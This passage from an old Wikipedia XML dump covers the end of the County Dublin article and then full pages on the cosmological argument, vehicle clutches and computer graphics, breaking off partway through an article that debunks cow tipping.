*[[Cabinteely]], [[Cabra]], [[Carpenterstown]], [[Carrickmines]], [[Castleknock]], [[Celbridge]], [[Chapelizod]], [[Churchtown, Dublin|Churchtown]], [[Clare Hall]], [[Clondalkin]], [[Clonee]], [[Clonshaugh]], [[Clonsilla]], [[Clonskeagh]], [[Clontarf, Dublin|Clontarf]], [[Collinswood]], [[Coolmine]], [[Crumlin, Dublin|Crumlin]]
*[[Dalkey]], [[Dartry]], [[Deans Grange]], [[Dollymount]], [[Dolphin's Barn]], [[Donabate]], [[Donaghmede]], [[Donnybrook]], [[Donnycarney]], [[Drimnagh]], [[Drumcondra]], [[Dún Laoghaire]], [[Dunboyne]], [[Dundrum, Dublin|Dundrum]]
*[[East Wall]], [[Edmondstown]]
*[[Fairview]], [[Finglas]], [[Firhouse]], [[Foxrock]]
*[[Galloping Green]], [[Glasnevin]], [[Glasthule]], [[Glenageary]], [[Goatstown]], [[Greystones]]
*[[Harold's Cross]], [[Hartstown]], [[Howth]], [[Huntstown]]
*[[Inchicore]], [[Islandbridge]], [[Jobstown]], [[Kilcock]], [[Kill O' The Grange]], [[Killester]], [[Killiney]], [[Kilmacud]], [[Kilmainham]], [[Kilmore]], [[Kilnamanagh]], [[Kilsallaghan]], [[Kimmage]], [[Kinsealy]], [[Knocklyon]]
*[[Leopardstown]], [[Loughlinstown]], [[Lucan, Dublin|Lucan]], [[Lusk]]
*[[Malahide]], [[Marino]], [[Maynooth]], [[Merrion]], [[Milltown]], [[Monkstown, Dublin|Monkstown]], [[Mount Merrion]], [[Mulhuddart]]
*[[Newcastle, Dublin|Newcastle]]
*[[Oldbawn]], [[Ongar]]
*[[Palmerstown]], [[Perrystown]], [[Phibsborough]], [[Portmarnock]], [[Portobello, Dublin|Portobello]]
*[[Raheny]], [[Ranelagh]], [[Rathcoole]], [[Rathfarnham]], [[Rathgar]], [[Rathmichael]], [[Rathmines]], [[Rialto]], [[Ringsend]], [[Rush, Dublin|Rush]]
*[[Saggart]], [[Sandycove]], [[Sandyford]], [[Sandymount]], [[Santry]], [[Shankill, Dublin|Shankill]], [[Skerries]], [[Smithfield]], [[Stepaside]], [[Stillorgan]], [[Stoneybatter]], [[Strawberry Beds]], [[Sutton, Dublin|Sutton]], [[Swords, Dublin|Swords]]
*[[Tallaght]], [[Templeogue]], [[Terenure]], [[The Coombe]], [[Tyrellstown]]
*[[Walkinstown]], [[Whitehall]]

==Footnotes==

{{fnb|1}} [[Statutory Instrument]]: [http://www.irishstatutebook.ie/ZZSI394Y1993.html Local Government Act, 1991 (Regional Authorities) (Establishment) Order, 1993]

{{fnb|2}} [[Act of the Oireachtas]]: [http://www.irishstatutebook.ie/ZZA31Y1993S9.html Local Government (Dublin) Act, 1993 (Section 9 Part 1(a))]

{{fnb|3}} [[Dáil Éireann]]: [http://www.oireachtas-debates.gov.ie/D/0435/D.0435.199311030007.html Parliamentary Debates (03 November, 1993)]

{{fnb|4}} [[Central Statistics Office (Ireland)|Central Statistics Office]]: [http://www.cso.ie/census/Vol1.htm Census 2002 (Volume 1- Population Classified by Area)]

==External links==

* [http://www.dra.ie/ Dublin Regional Authority]
* [http://www.shamrockcottages.co.uk/maps/wicklow.jpg Map of County Dublin] -map of Wicklow also included
* [http://www.irish-architecture.com/buildings_ireland/dublin/ Irish Architecture Online - Architecture of County Dublin]
* [http://scripts.ireland.com/ancestor/fuses/civilparish/index.cfm?fuseaction=GetMap&amp;CityCounty=Dublin Ireland.com Irish Ancestors/Civil Parishes of Co Dublin]
* [http://scripts.ireland.com/ancestor/fuses/civilparish/index.cfm?fuseaction=GetMap&amp;CityCounty=Dublin%20city Irish Ancestors/Civil Parishes of Dublin City]

{{Ireland_counties}}

[[Category:Counties of Ireland|Dublin]]
[[Category:County Dublin| ]]

[[ca:Comtat de Dublín]]
[[de:Dublin (County)]]
[[es:Condado de Dublín]]
[[fr:Comté de Dublin]]
[[ga:Contae Bhaile Átha Cliath]]
[[is:County Dublin]]
[[it:Dublino (contea)]]
[[nl:County Dublin]]
[[no:Dublin (grevskap)]]
[[pl:Dublin (hrabstwo)]]
[[pt:Condado de Dublin]]
[[ro:Comitatul Dublin]]
[[fi:Dublinin kreivikunta]]
[[sv:Dublin (grevskap)]]</text>
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  </page>
  <page>
    <title>Celebrity atheists</title>
    <id>6515</id>
    <revision>
      <id>15904650</id>
      <timestamp>2003-01-19T09:22:36Z</timestamp>
      <contributor>
        <username>Lorenzarius</username>
        <id>4308</id>
      </contributor>
      <minor />
      <comment>fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of atheists]]</text>
    </revision>
  </page>
  <page>
    <title>Cosmological argument</title>
    <id>6516</id>
    <revision>
      <id>41824594</id>
      <timestamp>2006-03-02T00:01:08Z</timestamp>
      <contributor>
        <username>Infinity0</username>
        <id>411742</id>
      </contributor>
      <comment>causal is right... as in &quot;cause&quot;-al</comment>
      <text xml:space="preserve">The '''cosmological argument''' is an [[arguments for the existence of God|argument for the existence of God]]. It is also known as the '''first cause argument''' for the existence of [[God]], or the '''prime mover''' argument. There are three versions of this argument: the argument from causation ''[[in esse]]'', the argument from causation ''[[in fieri]]'', and the argument from contingency.

==Origins of the argument==
[[Thomas Aquinas]], probably the best known [[theologian]] of the [[Middle Ages]], adapted an argument he found in his reading of [[Aristotle]] to form one of the earliest and the most influential versions of the cosmological argument. His conception of ''first cause'' is the idea that the universe must have been caused by something which was itself uncaused, which he asserted was God.  

The phrase &quot;first cause&quot; is sometimes used as an alternative noun for God among individuals uncomfortable with the historical and religious meanings associated with the term. Using &quot;first cause&quot; in replacement of &quot;God&quot; may also indicate that the writer has a different conception of God than what the popular definition entails.

The cosmological argument does not attempt to prove anything about God besides existence. Scholastic philosophers believed, however, that further arguments can be used to prove to anyone via logic some attributes of God, such as his [[omniscience]], simplicity (i.e., total lack of composition), and more. However, they believed other things can not be known about God by deduction and can only be known by [[divine revelation.]]

==The argument==
Framed as a formal proof, the first cause argument can be stated as follows:

# Everything has a cause.
# Nothing can cause itself.
# Everything is caused by another thing.
# A causal chain cannot be of infinite length.
# There must be a first cause.
# God was the first cause.

The cosmological argument infers the existence of God from claims about ''the entire universe''.  Fundamentally, the argument is based on the claim that God must exist due to the fact that the universe needs a cause. In other words, the existence of the universe requires an explanation, and an active creation of the universe by a being outside of the universe&amp;mdash;generally assumed to be [[God]]&amp;mdash;is that explanation.

The cosmological argument rests on the assumption that there need be a first cause. This assumption is made because of the conceptual difficulty of imagining an [[infinite regress]].  Aquinas' version does not assume that the first cause is an omnipotent, omniscient, and all-benevolent God, but later attempts to prove also that this is true.

In light of the [[Big Bang theory]], a stylized version of the basic cosmological argument (sometimes called the [[Kalam cosmological argument]], most recently defended by [[William Lane Craig]]) for the existence of God has emerged:

# Whatever begins to exist has a cause.
# The universe began to exist.
# Therefore, the universe had a cause, i.e., God.

===A more detailed version of the argument===
A more detailed explanation might go something like this:

Consider some event in the universe.  Whatever event you choose, it will be the result of some ''cause'', or more likely a very complex set of causes.  Of course each of those causes would be events, which were the result of some other set of causes.  Thus, there is an enormous chain of events in the universe, with the earlier events causing the later events.  Now, either this chain of events has a beginning, or it does not.  

Currently, the theory of the cosmological history of the universe most widely accepted by [[astronomy|astronomers]] arguably includes an apparent first event&amp;mdash;the Big Bang&amp;mdash;the immense explosion of all known matter and energy from a superdense point at some finite time in the past. If this really is the ''first'' event in the universe, this explosion could not be the result of any prior event.  According to the cosmological argument, the cause of the first event would necessarily be a being which is capable of causing other events, but which is not itself caused.  Aristotle called this the Uncaused Cause, and left it at that, but Aquinas went on to argue that this ''Uncaused Cause'' is just another name for ''God''.

Though contemporary versions of the cosmological argument assume that there was a beginning to this chain of causes,  Aquinas' formulation did not make such an assumption, due to his view that it was impossible to prove that the universe did have a beginning. 

According to Aquinas, it is logically possible that the universe has already existed for an infinite amount of time, and will continue to exist for an infinite amount of time.  Even if the universe has always existed, (a notion which Aquinas rejected on other grounds) there is still a question as to why this infinite chain of causes exists.

Aquinas follows Aristotle in claiming that there must be something which explains why the universe exists.  Since the universe could exist or not exist, that is to say it is [[contingent]], its existence must have a cause.  And that cause cannot simply be another contingent thing, it must be something which exists by necessity, that is, it must be something which must exist.  In other words, even if the universe has always existed, it still owes that existence to Aristotle's ''Uncaused Cause.''  

So Aquinas comes to the same conclusion, that God exists, whether there was a first event in the universe or not. Since either the universe has always existed, or it had a first event, Aquinas says that this argument definitively proves the existence of God.

The German philosopher [[Gottfried Leibniz]] made the same point with his Principle of Sufficient Reason in 1714.  He wrote: &quot;There can be found no fact that is true or existent, or any true proposition, without there being a sufficient reason for its being so and not otherwise, although we cannot know these reasons in most cases.&quot;  He formulated the cosmological argument succinctly: &quot;Why is there something rather than nothing?  The sufficient reason...is found in a substance which...is a necessary Being bearing the reason for its existence within itself.&quot;

==Critique and Objections==

The cosmological argument depends on several assumptions.  Most objections center on two of them:
* Everything has a cause (1).
* A causal chain cannot be of infinite length (4) and therefore also on &quot;There must be a first cause&quot; (5).

The cosmological argument attempts to prove that a First Cause exists.   One objection is that this does not even attempt to ascribe this First Cause with attributes necessary to call it &quot;God,&quot; not even with extremely basic prerequisites such as [[self-awareness]] and [[will (philosophy)|will]] (though there are some theists who actually do make such attempts when using this argument [http://www.leaderu.com/offices/billcraig/docs/craig-smith1.html]). It simply names the First Cause as &quot;God&quot; without proving that it has the characteristics that that name implies. Furthermore, the argument only requires God as a first cause, but fails to prove that God continued to exist after serving that purpose. Some [[Deism|deists]] agree that the argument proves that God created the universe, but nevertheless maintain that God then ceased to exist, or ceased to interact with the material universe. 

Opponents point out that the cosmological argument applies temporal concepts to situations where time does not exist. For example, &quot;cause&quot; is a temporal concept - by definition, it requires time; things which exist outside of time do not have to be caused. (Indeed, this is the excuse given for God's unrequirement to be caused.) However, time is merely a property of the universe, and so the laws of time (ie. cause) cannot be logically applied to the universe itself as a whole. Similarly, time can begin, but not require a cause, since all human concepts of a caused beginning have something before that beginning (including the cause); this is not true of time itself.

An assumption in some cosmological arguments (e.g., the [[Kalam cosmological argument|Kalam]] argument, but not [[Aquinas]]' arguments) is that there has to be a &quot;First Cause&quot;, ie. that our universe has not &quot;always&quot; existed.  This is still an open question, although the standard Big Bang cosmology is consistent with it.  Defenders of cosmological arguments that do not assume the finite age of the universe insist that eternal existence, the &quot;always there&quot; assumption, does not eliminate the problem of origin. On a similar note, one could also claim that the universe has always existed and its &quot;creation&quot; is thus not causal in nature, so no &quot;first cause&quot; is necessary. If one believes that time is infinite, then indeed there is no need for a &quot;first cause&quot; and therefore no need for God. However, this view is not compatible with the current scientific understanding of the origins of the universe.

[[Gottfried Leibniz]] stated the problem in his conclusion, although his terminology included some assumptions.  If his [[Principle of Sufficient Reason]] is indeed universally applicable, then the First Thing must either (1) be its own cause or (2) have a non-causal explanation.  The non-causal explanation would either (a) make the First Thing's existence be in some way self-explanatory or (b) make it follow in an explanatory way from self-explanatory truths, such as the truths of logic.  

All three options have had defenders.  Thus, option (1), the ''causa sui'' option, is defended by [[Descartes]].  Option (2a) is held by some of those like [[Aquinas]] who think that God's essence is identical with God's existence, or by those who hold, more weakly, that God's existence follows from his essence.  Option (2b) essentially holds that there is a sound [[ontological argument]] for the existence of God, albeit we may not have discovered it yet.  It follows from the [[Principle of Sufficient Reason]] that one of the three options holds, but a defender of the Principle does not need to give an independent proof of any one of these options. It is, after all, the ''conclusion'' of the argument that one of these holds.  In fact, this conclusion might be the starting point for responding to the problem of identifying the First Thing with God--that is how it is in [[Aquinas]], for instance.  Thus, if one could show the premises of the cosmological argument to be true and show that options (1) and (2a) were not tenable, then the cosmological argument would turn into an argument for the existence of an ontological argument.  We would then know that there ''is'' a sound ontological argument, even if we did not know ''what'' it is.

Alternately, the defender of the cosmological argument can restrict the Principle of Sufficient Reason in such a way that it does not require us to give an explanation of the existence of the First Thing.  One such restriction would be to restrict the Principle only to require the explanation of ''contingent'' facts.  Another is to restrict the Principle only to require the explanation of ''explainable'' facts.  These restrictions would require arguments, respectively, that the universe is contingent or that the universe's existence is explicable.

If the Principle of Sufficient Reason does not hold, then the &quot;selection&quot; among potential alternatives must be random or a &quot;brute fact&quot;.  Defenders of the Principle will insist that neither option really makes sense.

===Scientific positions===

Modern [[quantum physics]] is sometimes interpreted to deny the validity of the first premise of this argument (that everything has a cause), showing that subatomic particles such as [[electron]]s, [[positron]]s, and [[photon]]s, can come into existence, and perish, by virtue of spontaneous energy [[Vacuum_fluctuations|fluctuations in a vacuum]]. Though such occurrences do not violate the [[Conservation of energy|Law of Conservation of Mass and Energy]], [[Bell's theorem]] shows that these are impossible to predict. Because the &quot;nothingness&quot; from which the subatomic particles arise from a sea of fluctuating [[vacuum energy]], it may be that such processes contradict the assertion that all effects have causes.

Modern [[cosmology]] is sometimes taken to be neutral on the second premise, asserting that while [[spacetime]] as observed tends toward a singularity giving the universe an observed [[Age of the universe|finite age]], this does not discount the possibility that the stochastic processes that govern the early evolution of the universe actually cause the universe to be eternal. In particular, the lack of a consistent theory of [[quantum gravity]] has meant that there is no physical theory and no meaningful prediction can be made about what character the universe had before the [[Planck time]]. Indeed the supposed [[singularity]] from which the universe is said to have originated in the classic [[Big Bang]] picture is actually a [[physical paradox]] - an indication that current theory is not an adequate description. This era of the universe and its associated energy regime remains one of the [[unsolved problems in physics]] and as such does not lend itself either to the existence of a &quot;first cause&quot; or lack thereof.

&lt;!-- Commented out pending verification/sources
Some proponents of [[String Theory]] state that there are more dimensions than the ones we experience. In this argument, two universes existed outside of [[time]], our fourth dimension. They collided with each other and dropped down into the lower four dimensions, x, y, z, and time. The universes in the other dimensions both existed forever and never existed, as they are not fettered by time and thus require no &quot;first cause&quot;.
--&gt;
Recently, newer, speculative theories have been offered by a number of theorists, but there is no scientific consensus as of yet on whether the universe necessarily began to exist or whether it is eternal.

A commonly stated workaround for the argument is the nature of [[time]].  The [[Big Bang]] is said to be the start of both [[space]] and ''[[time]]'', so the question &quot;What was there before the universe?&quot; makes no sense; the concept of &quot;before&quot; becomes meaningless when considering a situation without time.  This has been put forward by [[Stephen Hawking]], who said that asking what occurred before the Big Bang is like asking what is north of the [[North Pole]] (it should be noted, however, that this comment was made in reference to cosmology and not theology).

==See also==
* [[Biblical cosmology]]
* [[Cosmogony]]
* [[Creation belief]]
* [[Creator god]]
* [[Creationism]]
* [[Creation (theology)]]
* [[Dating Creation]]
* [[Day-Age Creationism]]
* [[Evolutionary Creationism]]
* [[Existence]]
* [[Gap Creationism]]
* [[Infinitism]]
* [[Intelligent design]]
* [[Old Earth Creationism]]
* [[Teleological argument]]
* [[Theism]]
* [[Timeline of the Big Bang]]
* [[Young Earth Creationism]]

==External links==
*[http://plato.stanford.edu/entries/cosmological-argument/ Stanford Encyclopedia of Philosophy entry]

[[Category:Theology]]
[[Category:Christian philosophy]]
[[Category:Philosophy of religion]]

[[he:הטיעון הקוסמולוגי]]</text>
    </revision>
  </page>
  <page>
    <title>Clutch</title>
    <id>6517</id>
    <revision>
      <id>41754193</id>
      <timestamp>2006-03-01T14:32:03Z</timestamp>
      <contributor>
        <username>Nolanuss</username>
        <id>379510</id>
      </contributor>
      <minor />
      <comment>+interwiki +cs</comment>
      <text xml:space="preserve">:''For other meanings of the word '''clutch''', see [[clutch (disambiguation)]].''
:''For the rock band, see [[Clutch (band)|Clutch]].
{| align=right border=0
|-
|[[Image:Ford Cologne V6 2.9 back.jpg|thumb|right|200px|Rear side of a Ford V6 engine, looking at the clutch housing on the flywheel]]
|-
|[[Image:Clutchdisc.jpg|thumb|right|200px|Single, dry, clutch friction disc. The hub is attached to the disc with spring dampeners]]
|}
A clutch is any mechanism for transmitting rotation, which can be engaged and disengaged. 

In everyday use, the term '''clutch''' refers to a subcomponent of motor vehicle [[engine]]'s [[Transmission (mechanics)|transmission]] designed to allow engagement or disengagement of the engine to the gearbox or whatever apparatus is being driven. 

There are many different vehicle clutch designs, but most are based on one or more [[friction]] discs, pressed tightly together or against a [[flywheel]] using [[spring (device)|springs]]. The friction material is very similar to the material used in [[brake]] shoes and pads and used to contain [[asbestos]]. The spring [[pressure]] is released when the clutch pedal is depressed and the discs are held less tightly and allowed to rotate freely. A '''wet clutch''' is immersed in [[lubricating fluid]] to keep the surfaces clean and to cool it, for improved performance and longer life; while a '''dry clutch''' is not. Since the surfaces of a wet clutch can be slippery (as with a motorcycle clutch bathed in engine oil), stacking multiple clutch disks can compensate for slippage.

In a [[automobile|car]] it is operated by the left-most [[pedal]] using [[hydraulics]] or a [[cable]] connection from the pedal to the clutch mechanism.  No pressure on the pedal means that the clutch plates are engaged (driving), while depressing the pedal will disengage the clutch plates, allowing the driver to shift [[gear]]s. 

There are other clutches found in a car. For example, the radiator fan may have a clutch that is heat-activated. One such design is a special fluid coupling. When the temperature is low, the special fluid is thin and so the clutch slips. When the temperature is high, the fluid thickens, causing the fan to spin.

A [[manual transmission]] contains clutches for selecting gears. These clutches have matching teeth, so-called dog teeth, which means that the rotation speeds of the two parts have to match for engagement. This speed matching is achieved by a secondary clutch called a synchromesh, a device that uses frictional contact to bring the two parts to the same speed, and a locking mechanism called a blocker ring to prevent engagement of the teeth (full movement of the shift lever into gear) while the speeds are not synchronized. 

On most [[motorcycle]]s, the clutch is operated by the clutch lever, located on the left handlebar.  No pressure on the lever means that the clutch plates are engaged (driving), while pulling the lever back towards the rider will disengage the clutch plates, allowing the rider to shift. Some cars and [[moped]]s have an automatic clutch, using [[centrifugal]] [[force]]s to engage the clutch above certain [[rpm]], see [[Saxomat]].

When engaging the clutch, the engine speed may need to be increased from idle, using the manual [[throttle]], so that the engine does not stall.  However, raising the engine speed too high will cause excessive clutch plate wear and cause a harsh, jerky start.  This kind of start is desired in [[drag racing]] and other competition, however.

A clutch may also be a device on a shaft that will &quot;slip&quot; when higher than normal resistance is encountered on a machine. An example of a clutch such as this may be mounted on the driving shaft of a large grass mower. The clutch will &quot;slip&quot; or &quot;give&quot; if the blades were to hit a rock, stump, or other immobile object. 

==See also==
Racing motorcycles often use [[slipper clutch]]es to eliminate the effects of [[engine braking]].

==External links==
* [http://auto.howstuffworks.com/clutch.htm HowStuffWorks] has a detailed explanation of the working of a clutch.

[[Category:Automotive transmission technologies]]
[[Category:Auto parts]]

[[af:Koppelaar]]
[[cs:Spojka (stroj)]]
[[de:Kupplung]]
[[es:Embrague]]
[[eo:Kluĉilo]]
[[fa:کلاچ]]
[[fr:Embrayage]]
[[it:Frizione (meccanica)]]
[[he:מצמד]]
[[nl:Koppeling]]
[[ja:クラッチ]]
[[no:Kobling]]
[[pl:Sprzęgło]]
[[zh:離合器]]</text>
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  </page>
  <page>
    <title>Computer graphics</title>
    <id>6518</id>
    <revision>
      <id>41919811</id>
      <timestamp>2006-03-02T16:55:07Z</timestamp>
      <contributor>
        <username>Intgr</username>
        <id>246230</id>
      </contributor>
      <comment>Replaced text with the Otheruses4 template.</comment>
      <text xml:space="preserve">{{Otheruses4|computer graphics in general|the [[ACM SIGGRAPH]] journal|Computer Graphics (Publication)}}

'''Computer graphics''' ('''CG''') is the field of visual [[computing]], where one utilizes [[computers]] both to generate visual images synthetically and to integrate or alter visual and spatial information sampled from the real world.

The first major advance in computer [[graphics]] was the development of the [[Sketchpad]] in 1962 by [[Ivan Sutherland]].

This field  can be divided into several areas: real-time 3D [[rendering]] (often used in video games), [[computer animation]], video capture and video creation rendering, special effects editing (often used for movies and television), image editing, and modeling (often used for engineering and medical purposes).  Development in computer graphics was first fueled by academic interests and government sponsorship.  However, as real-world applications of computer graphics (CG) in broadcast television and movies proved a viable alternative to more traditional special effects and animation techniques, commercial parties have increasingly funded advances in the field.

It is often thought that the first feature [[film]] to use computer graphics was ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]]'' ([[1968]]), which attempted to show how computers would be much more graphical in the future. However, all the &quot;computer graphic&quot; effects in that film were hand-drawn animation, and the special effects sequences were produced entirely with conventional optical and model effects. 

Perhaps the first use of computer graphics specifically to illustrate computer graphics was in ''[[Futureworld]]'' ([[1976]]), which included an [[animation]] of a human face and hand - produced by [[Edwin Catmull|Ed Catmull]] and [[Fred Parke]] at the [[University of Utah]].

== Computer graphics, 2D ==
{{main|2D computer graphics}}
The first advance in computer graphics was in the use of [[Cathode Ray Tube|CRT]]s. There are two approaches to 2D graphics: vector and raster graphics. [[Vector graphics]] stores precise geometric data, [[topology]] and style  such as coordinate positions of points, the connections between points (to form lines or paths) and the colour, thickness and possible fill of the shapes. Most vector graphic systems can also use primitives of standard shapes such as circles and rectangles etc. In most cases a vector graphic image has to be converted to a raster image to be viewed. [[Raster graphics]] is a uniform two dimensional grid of [[pixel]]s. Each pixel has a specific value such as for instance brightness, colour transparency or a combination of such values. A raster image has a finite [[Image resolution | resolution]] of a specific number of rows and columns. Standard computer displays shows a raster image of resolutions such as 1280(columns)x1024(rows) of pixels. Today one often combines raster and vector graphics in compound file formats ([[Portable Document Format|pdf]], [[swf]]).

== Computer graphics, 3D ==
{{main|3D computer graphics}}
With the birth of the [[workstation]] computers (like [[LISP machine]]s, [[Quantel paintbox|paintbox]] computers and [[Silicon Graphics]] workstations) came the [[3D computer graphics]], based on [[vector graphics]].  Instead of the computer storing information about points, lines and curves on a 2-Dimensional plane, the computer stores the location of points, lines and typically faces (to construct a polygon) in 3-Dimensional Space.

3-Dimensional polygons are the life blood of virtually all 3D computer graphics. As a result, most 3D graphics engines are based around storing points (single 3 Dimensional coordinates), lines that connect those points together, faces defined by the lines, and then a sequence of faces to create 3D polygons.

Modern day computer graphics software goes far beyond just the simple storage of polygons in computer memory. Today's graphics are not only the product of massive collections of polygons into recognizable shapes, they also result from techniques in shading, texturing and [[rasterization]].

== Shading ==
The process of shading (in the context of 3D computer graphics) involves the computer simulating (or more accurately; calculating) how the faces of a polygon will look when illuminated by a virtual light source.  The exact calculation varies depending on not only what data is available about the face being shaded, but also the shading technique.

== Image based rendering ==
Computer Graphics is all about obtaining 2D images from 3D models. In order to get highly accurate and photo realistic images, the input 3D models should be very accurate in terms of geometry and colours. Simulating the real 3D world scene using Computer Graphics is difficult, because obtaining accurate 3D geometry of the world is difficult. Instead of obtaining 3D models, image based rendering (IBR) uses the images taken from particular view points and tries to obtain new images from other view points. Though the term 'Image based rendering' was coined recently, it has been in practice since the inception of research in Computer Vision. In 1996, two image based rendering techniques were presented in SIGGRAPH: light field rendering and Lumigraph rendering. These techniques received special attention in the research community. Since then, many representations for IBR were proposed. One popular method is view dependent texture mapping, an IBR technique from University of Southern California. Andrew Zisserman, et. al from Oxford University used Machine Learning concepts for IBR. 

*[[Flat shading]]: A technique that shades each polygon of an object based on the polygon's &quot;normal&quot; and the position and intensity of a light source.
*[[Gouraud shading]]: Invented by [[Henri Gouraud (computer scientist)|Henri Gouraud]] in 1971, a fast and resource-conscious technique used to simulate smoothly shaded surfaces by interpolating vertex colors across a polygon's surface.
*[[Texture mapping]]: A technique for simulating surface detail by mapping images (textures) onto polygons.
*[[Phong shading]]: Invented by [[Bui Tuong Phong]], a smooth shading technique that approximates curved-surface lighting by interpolating the vertex normals of a polygon across the surface; the lighting model includes glossy reflection with a controllable level of gloss.
*[[Bump mapping]]: Invented by [[Jim Blinn]], a normal-perturbation technique used to simulate bumpy or wrinkled surfaces.
*[[Ray Tracing]]: A method based on the physical principles of geometric optics  that can simulate multiple reflections and transparency. 
*[[Radiosity]]: a technique for [[global illumination]] that uses radiative transfer theory to simulate indirect (reflected) illumination in scenes with diffuse surfaces.
*[[Blobs]]: a technique for representing surfaces without specifying a hard [[boundary representation]], usually implemented as a [[procedural surface]] like a [[Van der Waals equation|Van der Waals]] equipotential (in chemistry).

== Texturing ==
Polygon surfaces (the sequence of faces) can contain data corresponding to not only a color, but in more advanced software, can be a virtual canvas for a picture, or other rasterized image.  Such an image is placed onto a face, or series of faces and is called a Texture.

Textures add a new degree of customization as to how a faces &amp; polygons will ultimately look after being shaded, depending on the shading method, and how the image is interpreted during shading.

==See also==
Several important topics in [[2D computer graphics|2D]] and [[3D computer graphics|3D]] graphics include:
*[[Color space|Color theory]]
*[[Raster graphics]]
*[[Vector graphics]]
*[[Geometric surface representations]]
** including, [[polygon]]s, [[Bézier surface]]s, [[Spline (mathematics)|spline]]s, [[subdivision surface]]s, [[implicit surface]]s, [[point-set surface]]s, and [[Nonuniform rational B-spline|NURBS]]
*[[Computer graphics/shading|Material properties]], including [[Bidirectional reflectance function|BRDF]]s
*[[Data compression|Image compression]]
*[[Computer animation|Animation]]
*[[Rendering (computer graphics)|Rendering]]
*[[Alpha compositing|Compositing]]
*[[Projection]]
*[[3D projection]]
*[[Hidden surface determination]]
*[[Vertex shaders]] and [[pixel shaders]]
*[[Full screen effect]]s
*[[Non-photorealistic rendering]]
*[[Real-time computer graphics]]

== Toolkits and APIs ==
For an application relying heavily on computer graphics, the following could be useful:
* [[Adobe Systems]]
* [[Blender3d]]
* [[BRL-CAD]]
* [[Computer Graphics Metafile]] (CGM)
* [[Crystal Space]]
* [[Power Render]]
* [[DirectX]]
* [[GLUT]]
* [[Graphical Kernel System]] (GKS)
* [[Macromedia Flash]]
* [[Macromedia Shockwave]]
* [[Open Inventor]]
* [[OpenGL]]
* [[Pixia]]
* [[PostScript]]
* [[Scalable Vector Graphics]] (SVG)
* [[svgalib]]
* [[X Window System]]

== See also ==
* [[Open source computer graphics]]
* [[Bresenham's line algorithm]]
* [[Computer-generated imagery]]
* [[Digital image editing]]
* [[Timeline of CGI in films]]
* [[Computer vision]]
* [[Digital image processing]]
* [[Digital geometry]]
* [[Graphics processing unit]]

&lt;!-- [[Wikipedia:Graphics tutorials]] --&gt;
* [[Graphical output device]]s
* [[List of computer graphics and descriptive geometry topics]]
* [[Utah Teapot]]
* [[Stanford Bunny]]
* [[SIGGRAPH]]
* [[ASCII art]]

== External links ==
*[http://accad.osu.edu/~waynec/history/lessons.html A Critical History of Computer Graphics and Animation] 
*[http://hem.passagen.se/des/hocg/hocg_1960.htm ''History of Computer Graphics'' series of articles]
*[http://www.acid.org/radio/index.html#ARTS-EP05 The ARTS: Episode 5] An in depth interview with Legalize on the subject of the History of Computer Graphics.  (Available in MP3 audio format)
*[http://www.andybrain.com/archive/color_your_world_with_free_software.htm Review of free graphic and rendering tools]
*[http://www.cglinux.com/open-source linux open source computer graphics]links forum news
[[Category:Computer graphics]]
[[Category:Interdisciplinary fields]]

[[bs:Računarska grafika]]
[[cs:Počítačová grafika]]
[[da:Computergrafik]]
[[de:Computergrafik]]
[[eo:Komputila grafiko]]
[[es:Gráficos por computadora]]
[[fi:Tietokonegrafiikka]]
[[fr:Synthèse d'image]]
[[it:Computer grafica]]
[[ja:コンピュータグラフィックス]]
[[nl:Computergraphics]]
[[pl:Grafika komputerowa]]
[[pt:Computação gráfica]]
[[ru:Компьютерная графика]]
[[sv:Datorgrafik]]
[[zh:计算机图形学]]</text>
    </revision>
  </page>
  <page>
    <title>Cow tipping</title>
    <id>6520</id>
    <revision>
      <id>42120925</id>
      <timestamp>2006-03-03T23:29:30Z</timestamp>
      <contributor>
        <username>DMAJohnson</username>
        <id>246896</id>
      </contributor>
      <minor />
      <comment>Removed Vandalism</comment>
      <text xml:space="preserve">[[Image:Cow.jpg|right|thumb|375px|An unsuspecting potential victim]]
'''Cow tipping''' is a pastime allegedly common in rural areas, in which participants sneak up on an upright sleeping cow and then push it over for amusement. Some variants of this urban legend state that the cow is then unable to get up. There is no evidence, aside from mostly unreliable eyewitness reports, that any cows have ever been tipped in this manner. In addition, there are a number of problems with typical accounts of cow tipping. Unlike [[horse]]s, cows do not 'lock their legs' when they sleep.  Cows lie down while sleeping [http://images.google.com/images?svnum=10&amp;hl=en&amp;lr=lang_en&amp;safe=off&amp;q=sleeping+cow]. Most of their sleep is very light and easily disturbed &amp;mdash; typical of herd prey animals; they take only short naps at regular intervals throughout a 24 hour period, which means that at any given time, some members of the herd are aware and alert.  The vision field of a cow is larger than that of a human, and they have acute senses of hearing and smell.  Thus, cows are not easy to sneak up on.  If startled, they quickly communicate to the rest of the herd that something is amiss.

Cows are large, and would be very difficult to tip, even for several people working together. A grown cow can be over 1.5&amp;nbsp;m (5 feet) high with a mass on the order of 540 [[kilogram|kg]] (1,200 [[pound (weight)|lb]]) all the way up to 900 [[kilogram|kg]] (2,000 [[pound (weight)|lb]]).  By way of comparison, a typical [[sumo]] wrestler masses only 140 kg (310 lb). The four corners of a large &quot;American-style&quot; domestic [[refrigerator]] fairly closely approximate the spread of a cow's legs. If the refrigerator were cut down to 1.5&amp;nbsp;m (5 feet), filled with 400 kg (880 lb) of weights, and placed in a muddy field, tipping it would offer a comparable challenge to tipping a cow.

Variants of the legend claim that successfully tipping a cow will result in its death.  Although cows can die if prevented from sitting upright for an extended period of time, briefly forcing a cow onto its back will not kill it.  Under typical circumstances, a cow knocked onto its back would be able to restore itself to an upright position.

Other versions of the cow tipping story attempt to evade these objections by claiming, for example, that although cows lie down to [[dream]], they can still doze while standing. Others appeal to a paper published by the [[University of British Columbia]] which calculates that, in certain circumstances, five people could topple a cow.  Such a situation, however, would be highly unlikely, meaning they effectively debunked it as an [[urban legend]].  [http://www.timesonline.co.uk/article/0,,2-1858246,00.html]

Finally, attempting to tip a cow is a patently dangerous activity. Despite the animal's reputation for being placid and slow-moving, a cow is easily capable of hurting someone when provoked or nervous; a [[herd]] of cows or a bull (easily mistaken for a cow in the dark) would be even more dangerous.

== Possibility that cow tipping may be achievable ==

''[[The Times|The Times]]'' (London) of [[8 November]] [[2005]], contains two letters on the subject, including one that appears to describe a method by which the task might be achievable by three people. This follows some earlier discussions on the subject in ''The Times'' (see reference under External Links, below).

A reader in Hawaii wrote:
